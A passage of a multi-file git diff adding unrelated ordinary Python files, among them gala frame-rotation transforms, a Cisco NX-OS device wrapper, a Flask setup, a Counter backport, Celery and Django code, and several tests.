= np.array(theta).T[..., None] + + out = np.cos(theta)*x + np.sin(theta) * np.cross(vec, x) + \ + (1 - np.cos(theta)) * (vec * x).sum(axis=-1)[..., None] * vec + + return out.T + + +def z_angle_rotate(xy, theta): + """ + Rotated the input vector or set of vectors `xy` by the angle `theta`. + + Parameters + ---------- + xy : array_like + The vector or array of vectors to transform. Must have shape + + + """ + xy = np.array(xy).T + theta = np.array(theta).T + + out = np.zeros_like(xy) + out[..., 0] = np.cos(theta)*xy[..., 0] - np.sin(theta)*xy[..., 1] + out[..., 1] = np.sin(theta)*xy[..., 0] + np.cos(theta)*xy[..., 1] + + return out.T + + +def _constantrotating_static_helper(frame_r, frame_i, w, t=None, sign=1.): + # TODO: use representation arithmetic instead + Omega = -frame_r.parameters['Omega'].decompose(frame_i.units).value + + if not isinstance(w, Orbit) and t is None: + raise ValueError("Time array must be provided if not passing an " + "Orbit subclass.") + + if t is None: + t = w.t + + elif not hasattr(t, 'unit'): + t = t * frame_i.units['time'] + + if t is None: + raise ValueError('Time must be supplied either through the input ' + 'Orbit class instance or through the t argument.') + t = t.decompose(frame_i.units).value + + # HACK: this is a little bit crazy...this makes it so that !=3D + # representations will work here + if hasattr(w.pos, 'xyz'): + pos = w.pos + vel = w.vel + else: + cart = w.cartesian + pos = cart.pos + vel = cart.vel + + pos = pos.xyz.decompose(frame_i.units).value + vel = vel.d_xyz.decompose(frame_i.units).value + + # get rotation angle, axis vs. time + if isiterable(Omega): # 3D + vec = Omega / np.linalg.norm(Omega) + theta = np.linalg.norm(Omega) * t + + x_i2r = rodrigues_axis_angle_rotate(pos, vec, sign*theta) + v_i2r = rodrigues_axis_angle_rotate(vel, vec, sign*theta) + + else: # 2D + vec = Omega * np.array([0, 0, 1.]) + theta = sign * Omega * t + + x_i2r = z_angle_rotate(pos, theta) + v_i2r = z_angle_rotate(vel, theta) + + return x_i2r * frame_i.units['length'], v_i2r * frame_i.units['length']/frame_i.units['time'] + + +def static_to_constantrotating(frame_i, frame_r, w, t=None): + """ + Transform from an inertial static frame to a rotating frame. + + Parameters + ---------- + frame_i : `~gala.potential.StaticFrame` + frame_r : `~gala.potential.ConstantRotatingFrame` + w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit` + t : quantity_like (optional) + Required if input coordinates are just a phase-space position. + + Returns + ------- + pos : `~astropy.units.Quantity` + Position in rotating frame. + vel : `~astropy.units.Quantity` + Velocity in rotating frame. + """ + return _constantrotating_static_helper(frame_r=frame_r, frame_i=frame_i, + w=w, t=t, sign=1.) + + +def constantrotating_to_static(frame_r, frame_i, w, t=None): + """ + Transform from a constantly rotating frame to a static, inertial frame. + + Parameters + ---------- + frame_i : `~gala.potential.StaticFrame` + frame_r : `~gala.potential.ConstantRotatingFrame` + w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit` + t : quantity_like (optional) + Required if input coordinates are just a phase-space position. + + Returns + ------- + pos : `~astropy.units.Quantity` + Position in static, inertial frame. + vel : `~astropy.units.Quantity` + Velocity in static, inertial frame. + """ + return _constantrotating_static_helper(frame_r=frame_r, frame_i=frame_i, + w=w, t=t, sign=-1.) + + +def static_to_static(frame_r, frame_i, w, t=None): + """ + No-op transform + + Parameters + ---------- + frame_i : `~gala.potential.StaticFrame` + frame_r : `~gala.potential.ConstantRotatingFrame` + w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit` + t : quantity_like (optional) + Required if input coordinates are just a phase-space position. + + Returns + ------- + pos : `~astropy.units.Quantity` + Position in static, inertial frame. + vel : `~astropy.units.Quantity` + Velocity in static, inertial frame. + """ + tmp = [isinstance(frame_r.units, DimensionlessUnitSystem), + isinstance(frame_i.units, DimensionlessUnitSystem)] + if not all(tmp) and any(tmp): + raise ValueError( + "StaticFrame to StaticFrame transformations are only allowed if " + "both unit systems are physical, or both are dimensionless.") + return w.pos.xyz, w.vel.d_xyz diff --git a/pool/shard000/Python/0008936_cisconx.py b/pool/shard000/Python/0008936_cisconx.py new file mode 100644 index 0000000000000000000000000000000000000000..ebc5412565c7c88073f8c93324982cfcc087b438 --- /dev/null +++ b/pool/shard000/Python/0008936_cisconx.py @@ -0,0 +1,88 @@ +#!/usr/bin/python +# +# Copyright 2014 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""A push implementation for Cisco Nexus(NX-OS) devices. + +This module implements the base device interface of base_device.py for +Cisco NX-OS devices. +""" + +__author__ = 'mijith@google.com (Mijith)' + + +import gflags + +import paramiko_device +import push_exceptions as exceptions + +FLAGS = gflags.FLAGS + +gflags.DEFINE_float('cisconx_timeout_response', None, + 'Cisco nexus device response timeout in seconds.') +gflags.DEFINE_float('cisconx_timeout_connect', None, + 'Cisco nexus device connect timeout in seconds.') +gflags.DEFINE_float('cisconx_timeout_idle', None, + 'Cisco nexus device idle timeout in seconds.') +gflags.DEFINE_float('cisconx_timeout_disconnect', None, + 'Cisco nexus device disconnect timeout in seconds.') +gflags.DEFINE_float('cisconx_timeout_act_user', None, + 'Cisco nexus device user activation timeout in seconds.') + +INVALID_OUT = 'Cmd exec error.' +# eg:. +# [ mijith@pulsar: ~ ]. +# $ ssh gmonitor@us-mtv-43-fabsw1.mtv 'foo'. +# Syntax error while parsing 'foo'. +# +# Cmd exec error. + + +class CiscoNexusDevice(paramiko_device.ParamikoDevice): + """A base device model suitable for Cisco Nexus devices. + + See the base_device.BaseDevice method docstrings. + """ + + def __init__(self, **kwargs): + self.vendor_name = 'cisconx' + super(CiscoNexusDevice, self).__init__(**kwargs) + + def _Cmd(self, command, mode=None): + """Cisco Nexus wrapper for ParamikoDevice._Cmd().""" + + result = super(CiscoNexusDevice, self)._Cmd(command, mode) + # On Successful execution of a command. + # ssh gmonitor@us-mtv-43-fabsw1.mtv 'show version'. + # Password:. + # Cisco Nexus Operating System (NX-OS) Software + # TAC support: http://www.cisco.com/tac. + # [output truncated]. + + # Incomplete Command Example. + # [ mijith@pulsar: ~ ]. + # $ ssh gmonitor@us-mtv-43-fabsw1.mtv 'show' + # Syntax error while parsing 'show'. + # Cmd exec error. + + # Invalid Command Example. + # [ mijith@pulsar: ~ ]. + # $ ssh gmonitor@us-mtv-43-fabsw1.mtv 'foo'. + # Syntax error while parsing 'foo'. + # Cmd exec error. + + if result.endswith(INVALID_OUT): + raise exceptions.CmdError('INVALID COMMAND: %s' % command) + + return result diff --git a/pool/shard000/Python/0008943_init__.py b/pool/shard000/Python/0008943_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..6f5a9619275a82b38ba398664d4593cf6de46700 --- /dev/null +++ b/pool/shard000/Python/0008943_init__.py @@ -0,0 +1,65 @@ +import sys +import os +from flask import Flask +from flask.ext.cache import Cache + +app = Flask(__name__) + +# Load configuration defaults +app.config.from_object("pegasus.service.defaults") + +# Load user configuration +conf = os.path.expanduser("~/.pegasus/service.py") +if os.path.isfile(conf): + app.config.from_pyfile(conf) +del conf + +# Find pegasus home +def get_pegasus_home(): + home = os.getenv("PEGASUS_HOME", None) + if home is not None: + if not os.path.isdir(home): + raise ImportError("Invalid value for PEGASUS_HOME environment variable: %s" % home) + return home + + home = app.config.get("PEGASUS_HOME", None) + if home is not None: + if not os.path.isdir(home): + raise ImportError("Invalid directory for PEGASUS_HOME in configuration file: %s" % home) + return home + + return None + +# Find pegasus python library +def get_pegasus_lib_python(): + home = get_pegasus_home() + if home is not None: + for lib in ["lib64","lib"]: + pythonpath = os.path.join(home, lib, "pegasus", "python") + if os.path.isdir(pythonpath): + return pythonpath + raise ImportError("Pegasus Python lib directory not found in PEGASUS_HOME: '%s' " % home) + + # Try the default RPM/DEB locations as a last resort + shares = ["/usr/lib64/pegasus/python", "/usr/lib/pegasus/python"] + for share in shares: + if os.path.isdir(share): + return share + + raise ImportError("Error getting path for Pegasus Python library: Set PEGASUS_HOME in your environment or configuration file") + +# Add pegasus wms python library to pythonpath +try: + import Pegasus.netlogger +except ImportError: + sys.path.insert(0, get_pegasus_lib_python()) + +from flask.ext.sqlalchemy import SQLAlchemy +db = SQLAlchemy(app) +cache = Cache(app) + +from pegasus.service import auth, filters, api, dashboard, catalogs, ensembles + +from Pegasus.netlogger.analysis.schema import stampede_dashboard_schema as dash +dash.initializeToDashboardDB(db.engine, db.metadata) + diff --git a/pool/shard000/Python/0008947_counter.py b/pool/shard000/Python/0008947_counter.py new file mode 100644 index 0000000000000000000000000000000000000000..2b55fe57a28f2152242787cd5ee03016df797ba9 --- /dev/null +++ b/pool/shard000/Python/0008947_counter.py @@ -0,0 +1,192 @@ +''' +2.7's Counter class backported for python 2.5+ +''' +from operator import itemgetter +from heapq import nlargest +from itertools import repeat, ifilter + +class Counter(dict): + '''Dict subclass for counting hashable objects. Sometimes called a bag + or multiset. Elements are stored as dictionary keys and their counts + are stored as dictionary values. + + >>> Counter('zyzygy') + Counter({'y': 3, 'z': 2, 'g': 1}) + + ''' + + def __init__(self, iterable=None, **kwds): + '''Create a new, empty Counter object. And if given, count elements + from an input iterable. Or, initialize the count from another mapping + of elements to their counts. + + >>> c = Counter() # a new, empty counter + >>> c = Counter('gallahad') # a new counter from an iterable + >>> c = Counter({'a': 4, 'b': 2}) # a new counter from a mapping + >>> c = Counter(a=4, b=2) # a new counter from keyword args + + ''' + self.update(iterable, **kwds) + + def __missing__(self, key): + return 0 + + def most_common(self, n=None): + '''List the n most common elements and their counts from the most + common to the least. If n is None, then list all element counts. + + >>> Counter('abracadabra').most_common(3) + [('a', 5), ('r', 2), ('b', 2)] + + ''' + if n is None: + return sorted(self.iteritems(), key=itemgetter(1), reverse=True) + return nlargest(n, self.iteritems(), key=itemgetter(1)) + + def elements(self): + '''Iterator over elements repeating each as many times as its count. + + >>> c = Counter('ABCABC') + >>> sorted(c.elements()) + ['A', 'A', 'B', 'B', 'C', 'C'] + + If an element's count has been set to zero or is a negative number, + elements() will ignore it. + + ''' + for elem, count in self.iteritems(): + for _ in repeat(None, count): + yield elem + + # Override dict methods where the meaning changes for Counter objects. + + @classmethod + def fromkeys(cls, iterable, v=None): + raise NotImplementedError( + 'Counter.fromkeys() is undefined. Use Counter(iterable) instead.') + + def update(self, iterable=None, **kwds): + '''Like dict.update() but add counts instead of replacing them. + + Source can be an iterable, a dictionary, or another Counter instance. + + >>> c = Counter('which') + >>> c.update('witch') # add elements from another iterable + >>> d = Counter('watch') + >>> c.update(d) # add elements from another counter + >>> c['h'] # four 'h' in which, witch, and watch + 4 + + ''' + if iterable is not None: + if hasattr(iterable, 'iteritems'): + if self: + self_get = self.get + for elem, count in iterable.iteritems(): + self[elem] = self_get(elem, 0) + count + else: + dict.update(self, iterable) # fast path when counter is empty + else: + self_get = self.get + for elem in iterable: + self[elem] = self_get(elem, 0) + 1 + if kwds: + self.update(kwds) + + def copy(self): + 'Like dict.copy() but returns a Counter instance instead of a dict.' + return Counter(self) + + def __delitem__(self, elem): + 'Like dict.__delitem__() but does not raise KeyError for missing values.' + if elem in self: + dict.__delitem__(self, elem) + + def __repr__(self): + if not self: + return '%s()' % self.__class__.__name__ + items = ', '.join(map('%r: %r'.__mod__, self.most_common())) + return '%s({%s})' % (self.__class__.__name__, items) + + # Multiset-style mathematical operations discussed in: + # Knuth TAOCP Volume II section 4.6.3 exercise 19 + # and at http://en.wikipedia.org/wiki/Multiset + # + # Outputs guaranteed to only include positive counts. + # + # To strip negative and zero counts, add-in an empty counter: + # c += Counter() + + def __add__(self, other): + '''Add counts from two counters. + + >>> Counter('abbb') + Counter('bcc') + Counter({'b': 4, 'c': 2, 'a': 1}) + + + ''' + if not isinstance(other, Counter): + return NotImplemented + result = Counter() + for elem in set(self) | set(other): + newcount = self[elem] + other[elem] + if newcount > 0: + result[elem] = newcount + return result + + def __sub__(self, other): + ''' Subtract count, but keep only results with positive counts. + + >>> Counter('abbbc') - Counter('bccd') + Counter({'b': 2, 'a': 1}) + + ''' + if not isinstance(other, Counter): + return NotImplemented + result = Counter() + for elem in set(self) | set(other): + newcount = self[elem] - other[elem] + if newcount > 0: + result[elem] = newcount + return result + + def __or__(self, other): + '''Union is the maximum of value in either of the input counters. + + >>> Counter('abbb') | Counter('bcc') + Counter({'b': 3, 'c': 2, 'a': 1}) + + ''' + if not isinstance(other, Counter): + return NotImplemented + _max = max + result = Counter() + for elem in set(self) | set(other): + newcount = _max(self[elem], other[elem]) + if newcount > 0: + result[elem] = newcount + return result + + def __and__(self, other): + ''' Intersection is the minimum of corresponding counts. + + >>> Counter('abbb') & Counter('bcc') + Counter({'b': 1}) + + ''' + if not isinstance(other, Counter): + return NotImplemented + _min = min + result = Counter() + if len(self) < len(other): + self, other = other, self + for elem in ifilter(self.__contains__, other): + newcount = _min(self[elem], other[elem]) + if newcount > 0: + result[elem] = newcount + return result + + +if __name__ == '__main__': + import doctest + print doctest.testmod() diff --git a/pool/shard000/Python/0008950_test_report.py b/pool/shard000/Python/0008950_test_report.py new file mode 100644 index 0000000000000000000000000000000000000000..b74544f22f70ecb7633d6c936b5ee4ab19c51e63 --- /dev/null +++ b/pool/shard000/Python/0008950_test_report.py @@ -0,0 +1,109 @@ +# +# This file is part of Checkbox. +# +# Copyright 2008 Canonical Ltd. +# +# Checkbox is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Checkbox is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Checkbox. If not, see . +# +import unittest + +from xml.dom.minidom import Document, Node + +from checkbox.report import ReportManager, Report + + +class StubReport(Report): + + def register_dumps(self): + self._manager.handle_dumps(str, self.dumps_test) + + def register_loads(self): + self._manager.handle_loads("test", self.loads_test) + self._manager.handle_loads("default", self.loads_default) + + def dumps_test(self, obj, parent): + text_node = parent.ownerDocument.createTextNode(obj) + parent.appendChild(text_node) + + def loads_test(self, node): + return node.childNodes[0].nodeValue.strip() + + def loads_default(self, node): + default = {} + for child in (c for c in node.childNodes if c.nodeType != Node.TEXT_NODE): + if child.hasAttribute("name"): + name = child.getAttribute("name") + else: + name = child.localName + default[str(name)] = self._manager.call_loads(child) + return default + + +class ReportManagerTest(unittest.TestCase): + + name = "test" + + def create_element(self, name): + document = Document() + element = document.createElement(name) + document.appendChild(element) + return element + + def create_text_node(self, name, text): + element = self.create_element(name) + text_node = element.createTextNode(text) + element.appendChild(text_node) + return text_node + + def test_constructor(self): + rm = ReportManager(self.name) + self.assertTrue(rm.name == self.name) + + def test_handle_dumps(self): + rm = ReportManager(self.name) + + str_func = lambda obj, parent: "str" + rm.handle_dumps(str, str_func) + self.assertTrue(rm.call_dumps("test1", None) == "str") + + int_func = lambda obj, parent: "int" + rm.handle_dumps(int, int_func) + self.assertTrue(rm.call_dumps(1, None) == "int") + self.assertTrue(rm.call_dumps("test2", None) == "str") + + def test_handle_loads(self): + rm = ReportManager(self.name) + + bar_func = lambda node: "bar" + foo_element = self.create_element("foo") + rm.handle_loads("foo", bar_func) + self.assertTrue(rm.call_loads(foo_element) == "bar") + + baz_func = lambda node: "baz" + bar_element = self.create_element("bar") + rm.handle_loads("bar", baz_func) + self.assertTrue(rm.call_loads(bar_element) == "baz") + self.assertTrue(rm.call_loads(foo_element) == "bar") + + def test_handle_dumps_and_loads(self): + rm = ReportManager(self.name) + rm.add(StubReport()) + + document = rm.dumps("test1") + str = document.toprettyxml("") + self.assertTrue("test1" in str) + + data = rm.loads(str) + self.assertTrue("test" in data) + self.assertTrue(data["test"] == "test1") diff --git a/pool/shard000/Python/0008951_6_multivariable_matform_simple.py b/pool/shard000/Python/0008951_6_multivariable_matform_simple.py new file mode 100644 index 0000000000000000000000000000000000000000..8bb34e039c5ae91f666c4542e20fe2564e885937 --- /dev/null +++ b/pool/shard000/Python/0008951_6_multivariable_matform_simple.py @@ -0,0 +1,38 @@ +import tensorflow as tf +import numpy as np + +# tf Graph input +# x_data = [[1,1,1,1,1], +# [0., 2., 0., 4., 0.], +# [1., 0., 3., 0., 5.]] +# y_data = [1, 2, 3, 4, 5] +xy = np.loadtxt('train.txt', unpack=True, dtype='float32') +x_data = xy[0:-1] +y_data = xy[-1] +print(x_data) +print(y_data) +W = tf.Variable(tf.random_uniform([1,3], -1.0, 1.0)) + +# hypothesis +hypothesis = tf.matmul(W, x_data) + +# cost function +cost = tf.reduce_mean(tf.square(hypothesis-y_data)) + +# Minimize +a = tf.Variable(0.1) # learning rate +optimizer = tf.train.GradientDescentOptimizer(a) +train = optimizer.minimize(cost) + +# initialize variables +init = tf.initialize_all_variables() + +# Launch the graph +sess = tf.Session() +sess.run(init) + +# Fit the line +for step in xrange(2001): + sess.run(train) + if step % 20 == 0: + print step, sess.run(cost), sess.run(W) diff --git a/pool/shard000/Python/0008952_app.py b/pool/shard000/Python/0008952_app.py new file mode 100644 index 0000000000000000000000000000000000000000..711a7471b29f9c0571cde1e3fdea748f57b723b3 --- /dev/null +++ b/pool/shard000/Python/0008952_app.py @@ -0,0 +1,17 @@ +import web + +urls = ( + '/(.*)', 'hello' +) +app = web.application(urls, globals()) + +class hello: + def GET(self, name): + if not name: + name = 'World' + return 'Hello, ' + name + '!' + +if __name__ == "__main__": + app.run() + +wsgiapp = app.wsgifunc() diff --git a/pool/shard000/Python/0008958_database.py b/pool/shard000/Python/0008958_database.py new file mode 100644 index 0000000000000000000000000000000000000000..4be5235e948e6e88909d113c6c2bedd92f041a24 --- /dev/null +++ b/pool/shard000/Python/0008958_database.py @@ -0,0 +1,95 @@ +from datetime import datetime + + +from celery import conf +from celery.backends.base import BaseDictBackend +from celery.db.models import Task, TaskSet +from celery.db.session import ResultSession +from celery.exceptions import ImproperlyConfigured + + +class DatabaseBackend(BaseDictBackend): + """The database result backend.""" + + def __init__(self, dburi=None, result_expires=None, + engine_options=None, **kwargs): + self.result_expires = result_expires or conf.TASK_RESULT_EXPIRES + self.dburi = dburi or conf.RESULT_DBURI + self.engine_options = dict(engine_options or {}, + **conf.RESULT_ENGINE_OPTIONS or {}) + if not self.dburi: + raise ImproperlyConfigured( + "Missing connection string! Do you have " + "CELERY_RESULT_DBURI set to a real value?") + + super(DatabaseBackend, self).__init__(**kwargs) + + def ResultSession(self): + return ResultSession(dburi=self.dburi, **self.engine_options) + + def _store_result(self, task_id, result, status, traceback=None): + """Store return value and status of an executed task.""" + session = self.ResultSession() + try: + task = session.query(Task).filter(Task.task_id == task_id).first() + if not task: + task = Task(task_id) + session.add(task) + session.flush() + task.result = result + task.status = status + task.traceback = traceback + session.commit() + finally: + session.close() + return result + + def _get_task_meta_for(self, task_id): + """Get task metadata for a task by id.""" + session = self.ResultSession() + try: + task = session.query(Task).filter(Task.task_id == task_id).first() + if not task: + task = Task(task_id) + session.add(task) + session.flush() + session.commit() + return task.to_dict() + finally: + session.close() + + def _save_taskset(self, taskset_id, result): + """Store the result of an executed taskset.""" + session = self.ResultSession() + try: + taskset = TaskSet(taskset_id, result) + session.add(taskset) + session.flush() + session.commit() + return result + finally: + session.close() + + def _restore_taskset(self, taskset_id): + """Get taskset metadata for a taskset by id.""" + session = self.ResultSession() + try: + taskset = session.query(TaskSet).filter( + TaskSet.taskset_id == taskset_id).first() + if taskset: + return taskset.to_dict() + finally: + session.close() + + def cleanup(self): + """Delete expired metadata.""" + session = self.ResultSession() + expires = self.result_expires + try: + session.query(Task).filter( + Task.date_done < (datetime.now() - expires)).delete() + session.query(TaskSet).filter( + TaskSet.date_done < (datetime.now() - expires)).delete() + session.commit() + finally: + session.close() diff --git a/pool/shard000/Python/0008969_locatord.py b/pool/shard000/Python/0008969_locatord.py new file mode 100644 index 0000000000000000000000000000000000000000..9007efd535eec1035d7d02a3d3dc601ff7000b87 --- /dev/null +++ b/pool/shard000/Python/0008969_locatord.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python2 +''' +Runs a daemon that runs locators on buoys. + +Use shm.locator#_settings to enable the locators and to +set which colors, etc. they're looking for +''' + +import locator +import shm +import pickle +import argparse + +parser = argparse.ArgumentParser(description="locator test script") +parser.add_argument('-g', '--gui', + dest="gui", + action="store_const", + default=False, + const=True, + help="whether to display debug output") +args = parser.parse_args() + +kill = False + + +# Begin with uninitialized locators +# We'll initialize these when they're enabled +locator1 = None +locator2 = None + +watcher = shm.watchers.watcher() +watcher.watch(shm.kalman) +watcher.watch(shm.locator1_settings) +watcher.watch(shm.locator2_settings) + +#Handle interrupts so that this daemon can die peacefully +import signal +def signal_handler(signal, frame): + global kill + print "INTERRUPT" + watcher.broadcast() + kill = True + +signal.signal(signal.SIGINT, signal_handler) +signal.signal(signal.SIGTERM, signal_handler) + +def get_layout(): + try: + state = pickle.loads(shm.layout.state.get()) + except: + print "Invalid mission layout state! Cannot initialize buoy positions." + print "You might need to start running a mission log." + raise + + #Gather buoy positions + n_off = state[0] + e_off = state[1] + positions = state[2] + + out = [(positions[2*i,0]-n_off, positions[2*i+1,0]-e_off) for i in range(2,5)] + return out + + +def start_locator1(): + try: + orange,yellow,green = get_layout() + except: + print "Disabling locator 1 - need layout" + shm.locator1_settings.enabled.set(0) + return None + else: + return locator.LocatorRunner( + shm.locator1_settings.color.get(), + orange_pos=orange, + #green_pos=green, + #yellow_pos=yellow, + led_pos=green, #TODO: make this its own thing? + prior_sigma=1.0, + display=args.gui, + locator_var=shm.locator1, + settings_var=shm.locator1_settings) + +def start_locator2(): + try: + orange,yellow,green = get_layout() + except: + print "Disabling locator 2 - need layout" + shm.locator2_settings.enabled.set(0) + return None + else: + return locator.LocatorRunner( + shm.locator2_settings.color.get(), + orange_pos=orange, + #green_pos=green, + #yellow_pos=yellow, + led_pos=green, #TODO: make this its own thing? + prior_sigma=1.0, + display=args.gui, + locator_var=shm.locator2, + settings_var=shm.locator2_settings) + +def gogogo(): + global locator1, locator2 + while not kill: + if shm.locator1_settings.reset.get(): + print "(Re)starting Locator 1" + shm.locator1_settings.reset.set(0) + locator1 = start_locator1() + + elif locator1: + if shm.locator1_settings.enabled.get(): + locator1.update() + else: + print "Stopping Locator 1" + locator1 = None + elif shm.locator1_settings.enabled.get() and shm.locator1_settings.color.get(): + print "Starting Locator 1" + locator1 = start_locator1() + + if shm.locator2_settings.reset.get(): + print "(Re)starting locator 2" + shm.locator2_settings.reset.set(0) + locator2 = start_locator2() + elif locator2: + if shm.locator2_settings.enabled.get(): + locator2.update() + else: + print "Stopping locator 2" + locator2 = None + elif shm.locator2_settings.enabled.get() and shm.locator2_settings.color.get(): + print "Starting Locator 2" + locator2 = start_locator2() + + watcher.wait() + +import threading +t1 = threading.Thread(target=gogogo) +t1.start() + +from time import sleep +while not kill: + sleep(0.05) diff --git a/pool/shard000/Python/0008970_conform_ftrack_preview.py b/pool/shard000/Python/0008970_conform_ftrack_preview.py new file mode 100644 index 0000000000000000000000000000000000000000..7c01f0d82b5e38909140f892603522a056e3ab64 --- /dev/null +++ b/pool/shard000/Python/0008970_conform_ftrack_preview.py @@ -0,0 +1,87 @@ +import shutil +import os +import ftrack +import pyblish.api +from ft_studio import ft_pathUtils + + +@pyblish.api.log +class ConformFlipbook(pyblish.api.Conformer): + """Copies Preview movie to it's final location + + Expected data members: + 'ftrackData' - Necessary ftrack information gathered by select_ftrack + 'outputPath' - Output path of current instance + 'version' - version of publish + """ + + families = ['preview'] + version = (0, 1, 0) + label = 'Conform Preview' + + def process(self, instance, context): + + if instance.has_data('outputPath'): + sourcePath = os.path.normpath(instance.data('outputPath')) + + version = context.data('version') + version = 'v' + str(version).zfill(3) + + taskid = context.data('ftrackData')['Task']['id'] + task = ftrack.Task(taskid) + parents = task.getParents() + + # Prepare data for parent filtering + parenttypes = [] + for parent in parents: + try: + parenttypes.append(parent.get('objecttypename')) + except: + pass + + # choose correct template + if 'Episode' in parenttypes: + templates = [ + 'tv-ep-preview-file', + ] + elif 'Sequence' in parenttypes: + templates = [ + 'tv-sq-preview-file', + ] + + publishFile = ft_pathUtils.getPaths(task, templates, version) + publishFile = os.path.normpath(publishFile[templates[0]]) + + projectName = task.getProject().getName() + if projectName not in ['rad', 'drm']: + if 'Asset Build' not in parenttypes: + templates = [ + 'shot.publish.file' + ] + else: + templates = [ + 'asset.publish.file' + ] + + self.log.debug(templates) + publishFile = ft_pathUtils.getPathsYaml(task, + templateList=templates, + version=version) + + + path, extension = os.path.splitext(publishFile[0]) + publishFile = path + ".mov" + + + self.log.info('Moving preview from location: {}'.format(sourcePath)) + self.log.info('Moving preview to location: {}'.format(publishFile)) + shutil.move(sourcePath, publishFile) + + # ftrack data + components = instance.data('ftrackComponents') + components['preview']['path'] = publishFile + + instance.set_data('ftrackComponents', value=components) + + else: + self.log.warning('preview wasn\'t created so it can\'t be published') diff --git a/pool/shard000/Python/0008973_test_summary_responsible.py b/pool/shard000/Python/0008973_test_summary_responsible.py new file mode 100644 index 0000000000000000000000000000000000000000..826508eacbb51d939bd2d333ba6b5eb4aca4cf36 --- /dev/null +++ b/pool/shard000/Python/0008973_test_summary_responsible.py @@ -0,0 +1,218 @@ +############################################################################## +# +# OSIS stands for Open Student Information System. It's an application +# designed to manage the core business of higher education institutions, +# such as universities, faculties, institutes and professional schools. +# The core business involves the administration of students, teachers, +# courses, programs and so on. +# +# Copyright (C) 2015-2018 Université catholique de Louvain (http://www.uclouvain.be) +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# A copy of this license - GNU General Public License - is available +# at the root of the source code of this program. If not, +# see http://www.gnu.org/licenses/. +# +############################################################################## +from django.contrib.auth.models import Permission, Group +from django.contrib.contenttypes.models import ContentType +from django.core.urlresolvers import reverse +from django.http import HttpResponseRedirect +from django.test import TestCase + +from attribution.models import attribution +from attribution.tests.models import test_attribution +from base.models.entity_manager import EntityManager +from base.tests.factories import structure +from base.tests.factories.academic_year import AcademicYearFactory, create_current_academic_year +from base.tests.factories.business.entities import create_entities_hierarchy +from base.tests.factories.business.learning_units import create_learning_unit_with_context +from base.tests.factories.entity_manager import EntityManagerFactory +from base.tests.factories.person import PersonFactory +from base.tests.factories.tutor import TutorFactory + +HTTP_RESPONSE_OK = 200 + + +class SummaryResponsibleViewTestCase(TestCase): + def setUp(self): + group, created = Group.objects.get_or_create(name='entity_managers') + content_type = ContentType.objects.get_for_model(EntityManager) + perm, created = Permission.objects.get_or_create(codename='is_entity_manager', content_type=content_type) + group.permissions.add(perm) + self.person = PersonFactory() + self.user = self.person.user + self.tutor = TutorFactory(person=self.person) + self.current_academic_year = create_current_academic_year() + self.next_academic_year = AcademicYearFactory( + year=self.current_academic_year.year + 1 + ) + + # Old structure model [To remove] + self.structure = structure.StructureFactory() + self.structure_children = structure.StructureFactory(part_of=self.structure) + + # New structure model + entities_hierarchy = create_entities_hierarchy() + self.root_entity = entities_hierarchy.get('root_entity') + self.child_one_entity = entities_hierarchy.get('child_one_entity') + self.child_two_entity = entities_hierarchy.get('child_two_entity') + + self.entity_manager = EntityManagerFactory( + person=self.person, + structure=self.structure, + entity=self.root_entity) + + # Create two learning_unit_year with context (Container + EntityContainerYear) + self.learning_unit_year = create_learning_unit_with_context( + academic_year=self.next_academic_year, + structure=self.structure, + entity=self.child_one_entity, + acronym="LBIR1210" + ) + self.learning_unit_year_children = create_learning_unit_with_context( + academic_year=self.next_academic_year, + structure=self.structure_children, + entity=self.child_two_entity, + acronym="LBIR1211" + ) + + self.attribution = test_attribution.create_attribution( + tutor=self.tutor, + learning_unit_year=self.learning_unit_year, + summary_responsible=True) + self.attribution_children = test_attribution.create_attribution( + tutor=self.tutor, + learning_unit_year=self.learning_unit_year_children, + summary_responsible=True) + + def test_summary_responsible_search_user_not_logged(self): + url = reverse("summary_responsible") + self.client.logout() + response = self.client.get(url) + self.assertRedirects(response, '/login/?next={}'.format(url)) + + def test_summary_responsible_search_test_user_is_not_entity_manager(self): + url = reverse("summary_responsible") + entity_managers = EntityManager.objects.filter(person__user=self.user) + entity_managers.delete() + + response = self.client.get(url, follow=True) + self.assertRedirects(response, '/login/?next={}'.format(url)) + + def test_summary_responsible_search_with_two_criteria(self): + url = reverse("summary_responsible") + self.client.force_login(self.user) + data = { + 'course_code': 'LBIR121', + 'learning_unit_title': '', + 'tutor': self.person.last_name, + 'summary_responsible': '' + } + response = self.client.get(url, data=data) + self.assertEqual(response.status_code, HTTP_RESPONSE_OK) + self.assertCountEqual(response.context[-1]['dict_attribution'], + [self.attribution, self.attribution_children]) + self.assertTemplateUsed(response, "summary_responsible.html") + + def test_summary_responsible_search_without_criteria(self): + url = reverse("summary_responsible") + self.client.force_login(self.user) + data = { + 'course_code': '', + 'learning_unit_title': '', + 'tutor': '', + 'summary_responsible': '' + } + response = self.client.get(url, data=data) + self.assertEqual(response.status_code, HTTP_RESPONSE_OK) + self.assertCountEqual(response.context[-1]['dict_attribution'], + [self.attribution, self.attribution_children]) + self.assertTemplateUsed(response, "summary_responsible.html") + + def test_summary_responsible_edit_search_user_not_logged(self): + url = reverse("summary_responsible_edit") + self.client.logout() + response = self.client.get(url) + self.assertRedirects(response, 